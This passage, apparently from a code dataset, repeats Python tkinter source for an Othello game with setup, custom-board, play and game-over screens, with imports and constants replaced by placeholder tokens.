start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\nif __name__ == '__main__':\n Window = Handler()\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n\n def Replay(self):\n self.GameParams = {}\n del self.Game\n self.Game = None\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\nif __name__ == '__main__':\n Window = Handler()\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n\n def Replay(self):\n self.GameParams = {}\n del self.Game\n self.Game = None\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, 